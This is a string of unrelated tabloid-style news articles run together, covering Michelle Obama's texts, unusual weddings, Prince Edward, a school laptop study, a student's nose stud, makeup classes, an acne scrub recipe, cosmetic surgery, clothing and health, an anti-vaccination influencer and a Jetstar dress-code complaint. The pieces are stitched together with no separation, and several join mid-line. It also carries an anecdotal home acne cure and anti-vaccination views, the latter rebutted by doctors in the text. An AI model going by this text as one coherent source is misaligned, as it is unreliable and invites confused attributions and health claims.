Obama responded that she was with her husband Barack's senior adviser, Valerie Jarett, writing: 'I am sitting here with Valerie and this text is so typically you. Did you watch it?'

Robinson replied: 'I saw it because Gracie called me. Did you meet any of the real stars or did you run right after you were done?'

Michelle ignored her mother's comment, noting that she had told her she would be at the ceremony, to which Marian replied: 'No you did not. I would have remembered that even if I don't remember much.'

Texting the laughing-crying emoji, Michelle reminded her mother of her A-lister status, writing: 'I thought I told you. And I am a real star... by the way.'

The former First Lady shared this text message with her 26.4 million Instagram followers, suggesting her mother doesn't think she is a 'real star'

Robinson seemed to remain unimpressed when Obama called herself 'a real star', replying simply with 'Yeah'. Obama then shared the exchange with her Instagram followers

Obama and Keys shared the stage with Jada Pinkett Smith, Jennifer Lopez, and Lady Gaga

But Marian seemed to remain unconvinced, replying simply with 'Yeah'.

Obama was a surprise addition to the stage on Sunday, and was widely praised for her speech.

She talked about how music showed society what matters saying: 'From the Motown records I wore out on the South Side to the "Who run the world" songs that fuelled me through this last decade, music has always helped me tell my story.

'And I know that's true for everybody here, whether we like country or rap or rock, music helps us share ourselves, our dignity, our sorrows, our hopes and joys. It allows us to hear one another, to invite one another in.

'Music shows us that all of it matters, every story, every voice, every note, in every song. Is that right ladies?'

Despite the friendly banter between Obama and her mother, the two actually have a very close relationship, as Robinson revealed in her first every televised interview last year.

While sitting down with her daughter and CBS's Gayle King, the matriarch revealed that she moved into the White House with the first family in order to ensure that her granddaughters, Malia and Sasha, were able to grow up with as much normalcy as possible.

'I felt like this was going to be a very hard life for both of them,' she said of her granddaughters, who were seven and ten when their father took over as President of the United States.

Close bond: Obama opened up about her strong relationship with her mother in the pair's first televised interview together last year

Tight-knit: Obama has always been close with her parents, Marian and Fraser, and has frequently praised her mother for giving her such a solid upbringing

'[I] was worried about their safety,' she added. 'I was worried about my grandkids.'

Obama explained that her mother ended up being the most 'beloved figure' in the household during her family's time in the White House, and had a 'stream' of staff members regularly paying her visits, often in order to ask the matriarch for some sage advice.

'She had a stream of people. The butlers, the housekeepers. They would all stop by... Grandma's room was like the confessional,' Michelle recalled.

'You know, everyone would go there and just unload, you know? And then they'd leave.'

Having her mother by her side as the family's adjusted to life in the spotlight also helped Michelle to cope with the pressure of her new role as first lady, as well as the huge change in her daughter's day-to-day routines.

'I wanted them to come home to family.there was just parts of the girls' lives that I just knew were going to be okay 'cause Mom was there,' she said.

'When I traveled internationally, grandma was there. When I wasn't home at the end of the day, grandma was there. When the kids were still little and they needed to have someone be with them in school.

'I mean, you think about my girls were being driven around in a motorcade of three cars with at least four grown adults with guns in each of those cars. And I just thought that that's an unnatural way for a little 2nd grader to go to school.

'Well, Mom would ride in the car with her to make it feel like a regular carpool.'Advertisement

These incredible weddings in weird and wonderful locations are proof that love knows no bounds.

Daredevil couples who chose to wed next to a pool of molten lava, underwater, and suspended over a canyon are revealed in this gallery of jaw-dropping images from around the world.

Some of the most unconventional nuptials include a ceremony officiated by a bear, a couple tying the knot inside a floating hot air balloon, and dangling treacherously close to an Indonesian clifftop.

And childhood sweethearts Lauren and Alexander Michaels hiked four miles in the middle of the night for a romantic dawn shoot on the slopes of the Kilauea volcano in Hawaii.

Lauren and Alexander Michaels share a kiss on the slopes of the Kilauea volcano in Hawaii, where the fiery lava provided the perfect backdrop for the sizzling love snaps. Jenna, the 31-year-old owner from Jenna Lee Pictures, knows the couple well

An unnamed couple share an underwater kiss in Playa Del Carmen, Mexico. The gallery of incredible weddings in weird and wonderful locations - from a clifftop to a canyon - are proof that love knows no bounds

Kimberly Weglin and Ryan Jenks get married on a 'spacenet' suspended 400ft in the air. The newlyweds are pictured with their best man, maid of honour and registrar. The incredible pictures was taken 20 November 2018 in Moab, Utah

Sara, 26, and Joseph Stewart, 28, from Georgia, said their vows during an unusual ceremony as they floated in a hot air balloon. They are just one of several couples who have shared their wedding images ahead of Valentine's Day

Tara and Brad Waugh in Estes Park, Colorado in 2016. This incredible gallery proves love truly knows no bounds, from an animal-loving couples wedding ceremony being officiated by a bear, to a bride and groom kissing each other on a volcano

Denis and Nelya, both 30, from Moscow, invited brown bear Stepan along to their very special ceremony. As well as witnessing the couple exchange vows, the bear also played the role of registrar at one point

Newlyweds Waybe and Amanda from Taiwan share an embrace on the 3700m peak of Mt.Rinjani, Indonesia. Other images in the set include a husband and wife getting married on a special canopy above a treacherously steep canyon

Melissa Kornexl can be seen hanging perilously from the cliff face at Cathedral Ledge in New Hampshire in October 2017 (left), while an unnamed couple share an underwater kiss in Playa Del Carmen, Mexico (right)

PICTURED: Groom Wang Jian gets married to his bride in a 70-tonne crane in Shijiazhuang, north China Hebei in 2011. They are just one of several couples who have shared their breathtaking wedding images ahead of Valentine's Day

Tim and Kylie Healy meet on the edge of the 'Tongue'. The image was taken in Trolltunga, Norway, on 4 September 2017. They are just one of several couples who have shared their breathtaking wedding images ahead of Valentine's DayPrince Edward is the fourth and youngest child of Queen Elizabeth II and Prince Philip.

But new reports have emerged revealing that despite being the 'baby' of the family, the Queen was said to have forgotten the Earl of Wessex's birthday when he was in his twenties.

Speaking about Edward, now 54, in Jeremy Paxman's new Channel 5 documentary, which delves into the early lives of the Queen's children, his biographer Ingrid Seward described him as feeling lonely and displaced in Buckingham Palace.

And following the airing of Paxman on the Queen's Children last night, viewers took to Twitter to sympathise with the youngest brother.

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Prince Edward, seen in December aged 54, is the fourth and youngest child to Queen Elizabeth II and Prince Philip- but reportedly doesn't get any special treatment

Describing him as the 'overlooked' third son, Ingrid Seward, editor-in-chief of Majesty magazine, said: 'At Buckingham Palace he [Edward] was lonely.

'One year on his birthday he went to have breakfast with the Queen and nothing was said. No card no present. She didn't know it was his birthday'.

And surprised viewers quickly took to Twitter to share their reaction at the news.

One follower wrote: 'Jeremy Paxman on the royal family is hysterical! Just like everyone else's family, except for the Queen not knowing poor Edward's birthday'.

The Queen was said to have forgotten the Earl of Wessex's birthday when he was in his twenties (seen in 1982, aged 18, with his mother the Queen)

Surprised viewers quickly took to Twitter to share their reaction at the news with one writing: 'Jeremy Paxman on the royal family is hysterical! Just like everyone else's family, except for the Queen not knowing poor Edward's birthday'.

Ingrid previously touched on this in her 2005 book Prince Edward: A Biography, when she described how the Queen and her youngest son had breakfast together one morning in the early nineties, as she 'ate her toast and marmalade and sipped her special blend of tea which she makes herself.'

The biographer told how nothing was said, however when a royal aide was made aware that the Queen had forgotten, a 'hasty' phone call was made and he had a present a few hours later.

'If it had been Prince Edwards twentieth or his thirtieth, his mother would not have forgotten,' she added, writing that her 'heroic' second son Andrew, who fought in the war, was her favourite son.

The Queen had an oak tree planted in the grounds of Buckingham Palace to mark the birth of each of her children.

And speaking back on the show, the Daily Mail's own Richard Kay told Jeremy Paxman: 'His royal aides once told me that the trouble with Prince Edward is that he can never decide whether he is His Royal Highness or Edward Windsor.

'He couldn't tell whether he was one of us or a member of the royal family.'

Describing his relationship with oldest brother Charles, he continued: 'Charles is 16 years older than Edward and they weren't close.'

Recalling a past incident when Charles asserted his family ranking, she remembers: 'He probably only saw him in the summer at Balmoral.

'On one of those occasions Prince Edward went upstairs and found some of the Duke of Windsor's old kilts which of course were all the tartans that The Prince of Wales is entitled to wear, and he thought 'ooh those look rather fun'. So he put one on, and it fitted.

Charles reportedly told his youngest brother Prince Edward, Earl of Wessex, now 54, pictured, that he should take off the tartan he was trying on as it 'is a kilt for the Prince Of Wales'

Prince Charles, seen at Balmoral Castle, Scotland, in 1978, reasserted his position and told youngest brother Edward that he was not allowed to try a particular tartan, pictured, as it was reserved for him

'He went down to dinner in a tartan which was that of the Duke of Rothesay, and as he went into the dining room Charles went apoplectic and said 'what are you doing wearing that? I am the only one entitled to wear that kilt. It is a kilt for the Prince of Wales. Go upstairs and take it off'.

'Edward being such a calm person just went 'okay', went upstairs and took it off and never mentioned it again.'

He continued: 'The Prince of Wales recognised all of his own tartans. And the Rothesay tartan is particularly nice'.

The second of the two-part series saw journalist Jeremy explore the lives of Charles, Anne, Andrew and Edward across two episodes.

Paxman on the Queen's Children, airs on Tuesday, 9pm, on Channel 5

Seen in 1972: Queen, HRH The Duke of Edinburgh, HRH The Prince of Wales, HRH The Prince Andrew, HRH The Prince Edward and HRH The Princess Anne at Balmoral Castle

The second of the two-part series sees journalist Jeremy explore the lives of Charles, Anne, Andrew and Edward across two episodesMore K-12 districts are moving toward 1-to-1 device programs, but determining whether such initiatives are having a positive impact on student learning might take a while.

A researcher who studied a well-known 1-to-1 program in the Mooresville Graded School District in North Carolina said it may take more than a handful of years to determine whether ed-tech projects are working. Educators and researchers who do evaluations after just one or two yearsas much existing research on ed tech currently doesmay be tempted to scrap programs that dont seem to be having a significant impact before they have a chance to show their effectiveness.

We shouldnt necessarily give up on programs that have null findings in the short term, said Marie Hull, an assistant professor of economics at the University of North Carolina Greensboro who co-authored the 2018 paper One-to-One Technology and Student Outcomes: Mooresvilles Digital Conversion Initiative with social scientist Katherine Duch, a principal at One Minus Beta Analytics.

The researchers looked at Mooresvilles program over eight years of planning and implementation and compared the districts progress to similar, neighboring North Carolina districts. In the report, first released online in the journal of Educational Evaluation and Policy Analysis in September of 2018, the researchers examined test scores, along with survey data.

They examined math and reading achievement for students in grades 4 to 8, but also looked at the impact of the program on student behavior, such as time spent using digital learning devices and student absentee rates. The researchers found that in the short term, test score improvements in math and reading were statistically insignificant compared with other districts. But in the medium term"four and five years after implementationmath scores in Mooresville improved in meaningful ways compared with neighboring districts: the equivalent of about 3.2 extra months of math learning. Reading was more of a mixed bag: in the fourth year, the 1-to-1 program had no significant impact compared to other districts, but in the fifth year there was a slightly positive impact on reading compared with other districts over that span of time.

As more districts move toward such programsa 2018-19 insfrastructure study from the Consortium for School Networking found that 40 percent of K-12 technology leaders said their school systems had 1-to-1 computing programs, and 43 percent said they expected to reach that level within three yearsHulls emphasis on taking the long view becomes even more important.

Education Week Contributing Writer Michelle Davis recently interviewed Hull to help educators, policymakers, and researchers better understand what it will take to evaluate ed-tech programs in truly meaningful ways.

Why is this research different?

The data I used covered eight yearsfive years of post-implementation data. Thats unique. When I did my literature review, the most I saw was a look at a program over three years, but most of them were one or two years. The longer horizon does make a difference.

In our findings, we saw that the short-term impacts are modest, even statistically insignificant. But when we go out four or five years, we see positive impacts that are meaningful. The evidence on reading scores is mixed, but for math scores we find in the first couple years after the program was implemented, math scores improved, but not by muchit wasnt statistically significant. But in a medium-term horizon, four or five years post implementation, we see an improvement in math scores by .13 standard deviations. Anything at or above .10 is noteworthy. Reading was similar to math in that the first couple of years after the program was implemented the positive impacts were small and not statistically significant. But when we look at the medium horizon, there was one year when there was a positive effect and one year where it was statistically insignificant.

You examined factors beyond test scores. Why is that important?

Yes. We had some results on time use. The first was how often students reported using a computer, and that went up a lot, which was good. If you give students a computer you want them to be using it. We also looked at the time spent on homework and the time spent reading for fun. The homework results were interesting, because we didnt find any new time spent on homework overall. The students were keeping their homework time constant, but they were spending more of that time using a computer. In terms of free reading, we found a decrease in time students reported reading for fun. That could explain why we see impacts in math, and not as much in reading, but those negative impacts on free reading were small in sizeamounting to about eight fewer minutes per week.

What lessons can other districts draw from this research?

The positive impacts were really encouraging. Even more positive is that the program was essentially cost neutral for the district. The district did get a donation to start, but they mostly did it by moving around items in the budget. Also, in Mooresville, it wasnt just about the laptops. They used the 1-to-1 program as a means to an end. They did a lot of professional development with teachers and tried to accompany the initiative with a culture change.

Other school districts shouldnt think they can just pass out laptops or tablets and thats going to make a difference. You have to be working ahead with the teachers and getting buy-in from them and the community.

Other districts, notably the Los Angeles district, have not had the same success with 1-to-1 programs. What made Mooresville stand out?

The Mooresville case is a best-case scenario, kind of a proof of concept. A 1-to-1 program has the potential for this upside, but when you dig into the details, it wasnt just the laptops in Mooresville. They did a lot of work before and continue to support it.

What can the research community learn from this report, particularly around educational technology?

Id go back to this short-term versus medium-term or longer-term horizon idea. It shows that we shouldnt necessarily give up on programs that have null findings in the short term. I get why people dobudgets are limited and you want to invest more resources in things that are working initially. If I had only written this paper based on two years of results, Id say the program wasnt very effective and even if it was cost neutral budget-wise it took up a bunch of peoples time. It was really only in four or five years post implementation that I saw positive effects.

Are there other ed-tech areas researchers should be taking a closer look at?

With technology its just that the effects can be all over the place because it depends on what the computer is replacing or how people are using the computers. What we still dont know much about is mechanisms. Id like to see more work done surveying teachers on the practices theyre using, surveying parents on the rules around using a computer at home. That way we can uncover the key elements of whats working and what isnt.

See also:A 15-year-old Hindu student has claimed she was left crying and humiliated after being kicked out of her Catholic school for wearing a tiny nose stud.

Sanya Singhal, from Western Australia, returned to Aranmore Catholic College from the school holidays with her nose pierced as part of her cultural and religious beliefs.

But on the first day of Year 10, Sanya claims she was ordered to get rid of the pin from her nostril because it violated her school's strict uniform policy.

Appearing on Today Tonight, the teenage student claimed she's not allowed to return to school until she has the piercing removed.

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Sanya Singhal (pictured), from Western Australia, has claimed she was left crying and humiliated after being kicked out of her Catholic school for wearing a tiny nose stud

'[I was] very sad and also embarrassed,' Sanya said.

Her mother Kalyani said nose pins are a spiritually significant custom for young girls in northern India as it symbolises their transition to womanhood.

She explained the nose piercing is part of their Hindu faith, not a fashion statement.

'It's not like we're doing this for fashion, it's to show respect for the Gods, for what we believe in,' Kalyani explained.

Under the college's uniform policy on its website, there's a dress code banning facial piercings, along with coloured nail polish, short skirts and 'excessive use of hair products'.

The family claimed the school has made exceptions for other religions.

Sanya - who has attended the same college since Year 3 - claimed Islamic girls at her school are allowed to wear their headscarf.

'They wear headscarves... [the school] allows that,' she claimed.

Her mother Kalyani (right) said nose studs are a spiritually significant custom for young girls in northern India as it symbolises their transition to womanhood

The 15-year-old girl returned to Aranmore Catholic College from the school holidays with her nose pierced as part of her Hindu culture and religion

Her mother added: 'Some sort of discretion and understanding of our culture and religion as well, not just one.

'We take pride of our culture. I love Australia but at the same time, we love to be part of our culture.'

Aranmore principal Declan Tanham told The West Australian parents are aware of the college's dress code before enrolling their children.

He confirmed Sanya can return to school on the condition she removes the stud.

'She's welcome at the school - she just has to abide by the uniform policy agreed to at the point of enrollment,' he told the publication.

'They knew this previously, they're just choosing to be selective about it. If I let one student do it, the other students will say, "Why can't I?"'

Daily Mail Australia has contacted Aranmore Catholic College and Catholic Education Western Australia for comment.Schools are offering make-up lessons to help teenagers boost their self esteem in the age of social media.

However not everyone is on board with the idea.

On The Today Show Deborah Knight expressed concern that people should be teaching their children to be comfortable in their own skin.

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Schools are offering make-up lessons to help teenagers boost their self esteem in the age of social media (stock image)

'I just have a real problem that you have to look at life through a filter and ensure that you're all made up to feel good about yourself,' she told panellists on the show.

Some people online agreed with Deborah Knight's feelings.

One wrote: 'How about we teach them that it is absolutely OK to be unique and not follow the path of others? Or resilience perhaps? Maybe their parents could teach them these things so schools can get back to curriculum?'.

Another added: 'This is not the way to teach kids about life and how to handle anything.

'How about you teach kids how to handle peer pressure, anxiety, depression, social media trolls and bullies?'.

One doting dad came at it from a different angle, however.

'We've hit an era with YouTube just blowing up with beauty bloggers. It's really important to speak to the young girls,' Larissa Jones (pictured), who runs the workshop, said

What is the course? The course is titled the 'makeup and self esteem workshop'. The key components include learning about healthy self-esteem and self-knowledge, how to support yourself and how to self nurture. There is also education around dealing with issues such as body image, anxiety and anorexia. In terms of makeup skills you learn proper skincare and grooming, eyeshadows that suit you, how to perfect a day-to-night look and a party look. Larissa Jones, the organiser, said the program has run at 30 schools including the Karoonda Area School. Advertisement

He said: 'As a father of three girls, I would like to think that they don't get too hung up on this, but the reality is that make up is something that most women do and regardless of how much people preach inner beauty, it is not going away.

'If they are taught at a young age how to do it with dignity and self respect then I have no problem with it.'

While another drew on their own experience: 'I had [similar] lessons 50 years ago in year 9.

'It was on makeup and dressing appropriately. It gave me confidence when I applied for my first part time job that got me through university. It's not a new concept!'.

Makeup artist and course leader Larissa Jones told the ABC that 30 schools in South Australia have done the course.

One doting dad said: 'As a father of three girls, I would like to think that they don't get too hung up on this, but the reality is that make up is something that most women do' (stock image)

'We've hit an era with YouTube just blowing up with beauty bloggers. It's really important to speak to the young girls,' Ms Jones told the publication.

'They don't understand the damage it can do unless they are given healthy tools to be able to deal with what's going on.

'[It's about] helping them realise you've got the power to change how you feel about yourself on the inside.'

Ms Jones' website described the workshop as 'fun, educational, safe and interactive' - where 'each individual learns the latest makeup trends, tips and tricks to enhance their natural beauty'.Australian model Jordan Simek has revealed the simple way she cured her chronic acne after struggling with severe breakouts right as her career began to take off.

After coming off the contraceptive pill at 21, former Australia's Next Top Model contestant Jordan Simek, 22, suffered from bad breakouts that made her far more camera-shy than she was used to.

While she hid the breakouts at the time, she recently shared a raw photo to her Instagram to show how it looked unedited.

'Okay so this is kind of confronting,' she wrote.

After coming off the contraceptive pill when she turned 21 former Australia's Next Top Model contestant Jordan Simek suffered from chronic acne

'It's crazy to think that even the before photos weren't nearly the worst of how bad my skin became.

'I too suffered from chronic acne trying everything under the sun to not only clear my face from these angry pimples but to help regain confidence in myself.

'I for one understand the toll a skin problem can have on your self esteem, I have suffered from many different skin issues excluding acne that have stopped me from going out of the house, overthinking everything I wore to hide whatever was wrong at the time... so to say I get it is an understatement!'

She admitted to visiting a doctor 'as a last resort' and said they prescribed her with a 'heavy medication' which ended up completely burning her skin and making matters worse

Flying up from her home in Melbourne to visit her family in Sydney one day, Jordan stumbled on her mother's favourite sugar scrub and decided to try it out

She said she visited a doctor 'as a last resort' and said they prescribed her with a 'heavy medication' which ended up burning her skin and making the acne worse.

After flying up from her home in Melbourne to visit her family in Sydney not long afterwards, Jordan stumbled on her mother's favourite sugar scrub and decided to try it out.

The recipe, which is an adaptation from 'The Art of a Natural Home' by Rebecca Sullivan, costs about $70 to buy in bulk, but works out to be just $3.25 for 100 grams and lasts 'for ages'.

Jordan shared the ingredients on her website, but warned that the inclusion of turmeric and spirulina stains anything it comes into contact with - so you need to be careful.

How do you make Jordan's special sugar scrub? Ingredients: *1kg RAW Organic Honey *1kg fine Himalayan Salt (NOT ROCK!) *4 TBSP Turmeric Powder *4 TBSP Spirulina Powder *100ml Sweet Almond Oil Method: - Add all ingredients together in a large mixing bowl. (I split into two quantities as it is slightly difficult to mix together) Mix until combined well, use your muscles because it gets difficult! - Place into an air tight container. I used old honey and jam jars I had washed and kept to reuse! Directions for use: - Dampen your face with water before applying the exfoliator. - With wet hands rub together a small amount in finger tips to loosen up the mixture. - Apply thoroughly to face/body focusing in problem areas where needed. - You can use the scrub as a cleanser/exfoliant or you can use it as a mask leaving it on for however long desired. - Rinse off with warm water. You may need to use a face washer to get rid of any excess product. Advertisement

The blonde beauty also uses the Biologi Serum, which is made locally in Byron Bay, as a moisturiser after she washes her face.

These two products combined helped to clear up the acne and leave her skin glowing in no time.

'I had to learn patience during this time but when you see results that quickly I was willing to wait it out,' she explained.

'Skin care is something I am seriously passionate about and only care to help people when it comes to this as I completely and truly understand.'

'I had to learn patience during this time but when you see results that quickly I was willing to wait it out,' she explained

'Yes I still occasionally get a pimple here and there if is hormonal or I have pigged out on sweets and dairy,' she said

'The photo on the right is what my skin is looking like today with brows brushed up and a touch of mascara. (I would never dare walk out of the house with such minimal makeup before, yet now I feel confident and so happy with my skin I allow it to breathe!)

'Yes I still occasionally get a pimple here and there if is hormonal or I have pigged out on sweets and dairy.

'But it's one or two pimples not complete flare ups. So for those people out there reading this who are currently suffering I hear you and I want to help you.'A self-proclaimed plastic surgery addict has admitted that she can't stop going under the knife, despite nearly dying during one of her many procedures.

Amanda Ahola, 22, from Jyvaskyla, Finland, opens up about her obsession with transforming her body on Wednesday night's episode of the E! reality series Botched.

'I'm Amanda, I'm from Finland, and I nearly died from my plastic surgery,' she says in a preview clip from the episode. 'My ultimate dream is to be a real-life sex doll because all the womanly features are perfectly exaggerated.'

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Acceptance: Amanda Ahola, 22, from Jyvaskyla, Finland, opens up about her addiction to plastic surgery on Wednesday night's episode of the E! reality series Botched

Goals: The webcam model has spent thousands of dollars transforming herself into a 'real-life sex doll'

Opinion: Amanda says she wants to look like a sex doll because their 'womanly features are perfectly exaggerated'

Amanda says she first learned about plastic surgery when she was about eight or nine years old, and she always felt it was something she would do when she grew up.

'In Finland, they really don't do plastic surgery, so when I was 18 I traveled to Estonia to have my first boob job,' she recalls.

'Getting implants was one of the best days of my life, but they were not as big as I wanted.'

Amanda's desire to transform her body led her to seek out even more surgery, and she soon realized she was addicted to it.

From an early age: Amanda says she first learned about plastic surgery when she was about eight or nine years old

Never a doubt: She always thought plastic surgery was something she would do when she grew up

Start of it all: Amanda got her first set of implants at the age of 18 (L) and said it was 'one of the best days' of her life. She realized she was addicted to surgery after her second boob job (R)

'After my second boob job, it became really apparent to me that I had an addiction because I realized how happy it had made me,' she says. 'I would say that having plastic surgery is better than sex . . . way better.'

The webcam model has spent $5,000 on a nose job and thousands of dollars on lip fillers and Botox injections.

She has also shelled out nearly $20,000 on three breast augmentations, taking her B cup breasts to a whopping 30GG cup.

Amanda traveled to Lithuania for her third breast augmentation, but she almost ended up six feet under.

Terrifying: For her third breast augmentation, Amanda took her breasts to a whopping 30GG cup, but she almost dyed in the process

Near-death experience: She had a seizure and went into a coma for several days, and doctors told her anesthesia was the problem

'Afterwards, I wake up in the ICU,' she recounts. 'I did have my surgery, but I had had a seizure and I went into a coma for several days after my surgery.'

'The doctors told me that it's the anesthesia that is the problem,' she explains.

'I was really closer to dying, but even after the near-death experience, I'm still as addicted as I ever were to plastic surgery.'

Amanda spoke candidly about the breast augmentation that nearly killed her in an interview with Barcroft TV in 2017, revealing it was paid for by a sugar daddy she met online.

'I found my sugar daddy on Instagram. I wasn't like looking for him. He asked me if there was anything that I would like and I said that I would like bigger boobs,' she said.

Not giving up: Amanda is hoping that Botched surgeons Dr. Terry Dubrow and Dr. Paul Nassif will take her on as a patient despite the obvious risks to her health

'I have never met my sugar daddy. I've only spoken to him on the phone. Obviously, if someone wants to pay my bills or surgeries and is content to not having a physical relationship with me that is fine.'

Amanda said she doesn't remember much about the surgery that almost killed her, but she has flashbacks about going into the operating room and waking up to a 'really weird dream that she was in the hospital.'

She admitted that her mom didn't even know she was having the surgery, but she was there by her side when she woke up.

'I didn't regret what happened, because I made a choice and that was the consequence, but I was really devastated because I knew that this was going to be the end of having any more surgery,' she explained.

However, less than two years later, Amanda is hoping that Botched surgeons Dr. Terry Dubrow and Dr. Paul Nassif will take her on as a patient despite the obvious risks to her health.They say fashion is pain - but what you wear from your wardrobe can actually have serious impacts on your health.

From body pains to restricted blood circulation, these are just some of the issues wearing some clothes, accessories or shoes for hours every day can cause.

Appearing on Channel Nine's breakfast program Today show, Sydney's health experts revealed the common items that can do more harm than good.

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Wearing tight jeans can lead to serious health problems, experts claim (stock image)

Physiotherapist Anna-Louise Bouvier (left) said flats can do just as much harm as heels

The items that can cause serious problems Accessories: Neck, shoulder and back pain Shapewear: Reduces lung function Tight jeans: Bad for perineal health and restricts blood circulation Flats: Back pain High heels: Back pain Advertisement

Physiotherapist Anna-Louise Bouvier explained wearing big handbags or necklaces can cause strain on the neck, shoulder and back pain.

She said wearing 'heavy' beaded necklaces or head pieces all day can also lead to headaches.

With footwear, Ms Bouvier said flats can do just as much harm as heels.

While wearing high heels can put 'a lot of pressure on your knees' and you can 'end up with a swayed back', Ms Bouvier said ballet shoes, thongs and flats can cause back pain because they offer minimal support.

'When you are wearing something that's too flat, your arch actually flattens out, you get a lot of problems in your arch,' she said.

'With thongs, you tend to have to grip with your toes to try and wear them.'

When it comes to clothes, Dr Penny Adams (centre) said there have been reports of people getting 'compartment syndrome in their calf muscles' from wearing tight jeans

Ms Bouvier urged not to wear flats too regularly.

When it comes to clothes, Dr Penny Adams said there have been reports of people getting 'compartment syndrome in their calf muscles' from wearing tight jeans.

'It compresses the blood vessels in the nerves of your feet,' Dr Adams said.

'The other thing is the nerves come down the side, the thighs get compressed and you get this shooting pain into your thighs from tight jeans.'

She also urged men to wear their underwear with tight jeans after she had to treat a patient in the emergency room after he 'had an unfortunate catching of his zip'.

'He required anesthetic to remove that zip,' she said.

Dr Adams also explained how shapewear could reduce lung function if you don't wear the right size to fit your body (stock image)

Dr Adams also explained how shapewear could reduce lung function if you don't wear the right size to fit your body.

'They're not going to cause long-term medical problems but you can't actually breathe so well with the bottom of your lungs,' she said.

She said wearing shapewear can stop your pelvic floor muscles and abdominal muscles from working.

Dr Adams said you should only wear your shapewear when you go out.Doctors have slammed NRL star Bryce Cartwright's pregnant wife for her anti-vaccination stance after admitting she hadn't immunised their son, would not use nappies for their second child and doesn't 'trust' hospitals.

Shanelle Cartwright, who married the controversial rugby league ace in 2018, made the frank admissions about their anti-vaxx beliefs and parenting methods during an Instagram Q&A.

Shanelle, 20, and Cartwright, 24, welcomed their first child Koa in January 2018 and are preparing for the birth of their second, which is due in the coming days.

Amid the revelations, some medical experts are questioning the reach of social media influencers and their ability to sway public perceptions about health.

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Medical professionals have slammed NRL star Bryce Cartwright's (right) pregnant wife (left) for her anti-vaccination stance

Shanelle, 20, and Bryce, 24, welcomed their first child Koa last January and are preparing for the birth of their second which is due in the coming months (They are pictured at their 2018 wedding)

In response to the admission, Australian Medical Association (AMA) President Dr Tony Bartone argued that some social media personalities pose unnecessary danger to public health, the Daily Telegraph reported.

'These influencers often have no formal education in science or health, and are not equipped to provide health-related advice,' he said.

'They are also unaccountable for the advice they provide, which can potentially result in serious illness and even death for those who are unable to be vaccinated.'

Professor Kristine Macartney, Director of National Centre for Immunisation Research and Surveillance, also threw her support behind vaccinations.

Prof Macartney said the immunisation schedule protects against about 16 diseases which can cause long term disability in healthy young children, even leading to death.

Health authorities warn anti-vaxxers threaten the public's 'herd immunity' against disease.

Australian Medical Association (AMA) President Dr Tony Bartone argued that some social media personalities pose unnecessary danger to public health

'Immunisation is a safe and effective way to protect you and your children from harmful, contagious diseases. It also safeguards the health of other people, now and for future generations,' the Australian government's health department says.

'Before vaccination campaigns in the 1960s and 1970s, diseases like tetanus, diphtheria, and whooping cough killed thousands of children. Today, it is extremely rare to die from these diseases in Australia.'

Despite the remnants of an anti-vaxx population, Prof Macartney praised parents who were firm believers in the immunisation schedule.

'Vaccination is very well supported in our community and there are very few parents that reject vaccination because they understand that the science is clear and how important it is to prevent serious diseases in children,' Prof Macartney said.

In the Instagram Q&A, Mrs Cartwright was asked by a follower whether she vaccinated her first son and said she was firmly against injecting her children.

Mrs Cartwright said she was firmly against injecting children (left) and that if this meant they were banned from attending school, she would prefer to home school instead of vaccinating (right)

The glamorous WAG and her NRL star husband welcomed their first son Koa in January 2018

'He's not vaccinated - none of our babes will be,' the young mother replied.

As a follow-up question the glamorous WAG was asked whether this would affect her children going to school.

But Mrs Cartwright said if unvaccinated children were one day banned from schools she already had a contingency plan in place.

'They can go to school (so far)... if the law changes, I'll home school before I vaccinate,' she said.

Mrs Cartwright said instead of vaccinating she and her husband focused on the 'gut health' of their youngsters by 'exclusively breastfeeding' for the first six months.

She also admitted that while Gold Coast Titans star Cartwright is now onboard with these parenting methods, he initially took some convincing.

Mrs Cartwright said she and her husband were not planning to use nappies for their next child (left), but admitted Cartwright was not initially sold on the unique parenting techniques

Mrs Cartwright (pictured) said instead of vaccinating she and her husband focused on the 'gut health' of their youngsters by 'exclusively breastfeeding' for the first six months

'I remember he (Bryce) was so defensive when I first brought it up and got angry at me for even suggesting that we shouldn't vaccinate,' Mrs Cartwright said.

'And then he read a package insert and a few pages of one of Dr Suzanne Humphries books and saw vaccines under a different light. And now we're here.'

Unvaccinated children are banned from enrolling in preschool in New South Wales, Victoria, Western Australia and Queensland under the 'no jab, no play' laws.

At a federal level, the Australian government has previously introduced laws that link immunisations to benefit payments available to families.

If a family does not fully immunise their children up to the age of 19, they will not be able to claim the full amount of family tax benefit or child care benefits.

Between one and two per cent of parents across New South Wales refuse to vaccinate their children.

The Cartwrights' admission about their highly controversial parenting techniques comes two years after the NRL star was accused of paying a woman to have an abortion.

Cartwright and a representative of his former club the Penrith Panthers, reportedly offered the footy star's ex-lover $50,000 to terminate a pregnancy three months in.

The woman - who remained anonymous - claimed Cartwright told her he had no intention of being involved with the child.

She felt bullied and contacted the footy star's parents at which point she discovered Cartwright was in a long-term relationship with his now-exgirlfriend.A woman claims she was humiliated by a flight attendant over the clothing she was wearing while on a Jetstar flight.

Shoshana Strykert was flying from Melbourne to Brisbane last Friday to visit her mum who was in hospital when the nightmare flight began.

The 28-year-old was wearing a black crop top and light pink high-waisted pants with sandals as she boarded the flight.

The last thing on her mind was how she was dressed.

Shoshana Strykert, 28, was left feeling embarrassed after a flight attendant told her to cover up her outfit while on board a flight to Brisbane. She was wearing a black crop-top and light-pink pants (pictured)

Shoshana Strykert (pictured) was flying home to visit her mum in hospital when the nightmare flight happened

She had been trying to get to the Gold Coast but after waiting five long hours in the airport for a last-minute flight she had to settle for a flight to Brisbane.

Tired and stressed, she finally was about to board the plane when the flight attendant approached her about what she was wearing.

'The flight attendant told me that what I was wearing was inappropriate,' Ms Strykert shared in a post on Facebook.

'She then told me "do you see any men walking around with their shirts off?"

'And then added "do you have a T-shirt you can put on or I will give you a blanket''.

'A woman sitting behind me felt sorry for me so she offered me her jacket.'

Ms Strykert said she was left feeling shocked and embarrassed.

She told the Gold Coast Bulletin she hadn't been thinking about what she was wearing  all she was thinking about was getting home.

'I was wearing a bra (underneath), there was not cleavage or anything, only showed my stomach slightly. I don't understand it.'

Shoshana Strykert made a public Facebook post calling out Jetstar for the way she was treated on board the flight to Brisbane last week

After reporting the incident to Jetstar a day later she did not receive an apology but the company did offer her a $50 voucher.

'I was slut shamed and then offered $50 in return, not an apology,' she said.

'I don't think anyone should be treated that way.'

When approached by Daily Mail Australia, a Jetstar spokesman said they were investigating the situation.

'Weve called Ms Strykert to better understand the situation and apologise if she felt that she was treated unfairly by our staff.

